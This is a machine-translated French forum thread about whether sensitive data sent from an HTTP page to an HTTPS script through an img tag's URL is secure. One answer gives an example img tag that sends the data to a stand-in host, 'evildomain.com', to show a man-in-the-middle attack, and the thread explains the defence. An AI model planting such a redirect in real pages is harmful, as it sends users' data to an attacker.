2009-10-09 6 views
0

J'ai un script de serveur dont j'ai besoin de passer des données à partir du navigateur sans recharger la page (aka ajax). Les données sont sensibles et doivent donc être envoyées via https. La page est cependant sur la couche http. En raison de la même restriction de domaine/protocole, le navigateur ne le permet pas.http, https & ajax bypass, peut-être?

Je pense à tricher un peu le système en créant dynamiquement des balises d'image et appeler le script en utilisant la balise src tels que:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" /> 

J'aimerais savoir si ce sera en effet correctement chiffré .

Répondre

3

Le problème avec ceci est que si la page elle-même est seulement HTTP, alors vous êtes sensible à un homme dans l'attaque du milieu. Un attaquant peut modifier tout le script dans la page envoyé sur HTTP afin qu'il utilise à la place:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" /> 

L'utilisateur sera cependant pas le plus sage. Pour contourner cela, vous devez vraiment servir la page sur HTTPS aussi - ce qui résout parfaitement votre autre problème en même temps.

(C'est exactement la même raison pour laquelle les formulaires de connexion doivent figurer sur les pages HTTPS, plutôt que simplement l'action de formulaire HTTPS).

+0

Si vous avez besoin du cryptage SSL pour la connexion, votre site entier devrait être dans https IMO. Vous avez déjà l'installation, vous pouvez aussi bien l'utiliser. –

+0

sauf si la performance/mise en cache est un problème, ce qui peut souvent être le cas. –

2

Oui et non.

La partie d'adresse de serveur de l'URL n'est évidemment pas cryptée puisqu'elle est utilisée pour établir la connexion.

Tout le reste est crypté lors de l'envoi via une connexion HTTPS. Mais toute personne regardant la source sera évidemment en mesure de voir les données affichées.

0

Il est également important de mentionner que certains navigateurs n'afficheront pas (ou ne préviendront pas l'utilisateur avant l'affichage) des pages HTML en mode mixte (http vs. https). Dans certains cas, cela peut ne pas fonctionner parce que l'utilisateur choisit de le bloquer.

0

Une alternative possible à la technique de l'image (dont l'inconvénient, comme mentionné par d'autres, est que le contenu en mode mixte n'est pas traité avec bonté par certains navigateurs) serait de aSSL.

L'une ou l'autre méthode entraînera le cryptage et les deux sont toujours vulnérables à l'homme dans les attaques du milieu.

Questions connexes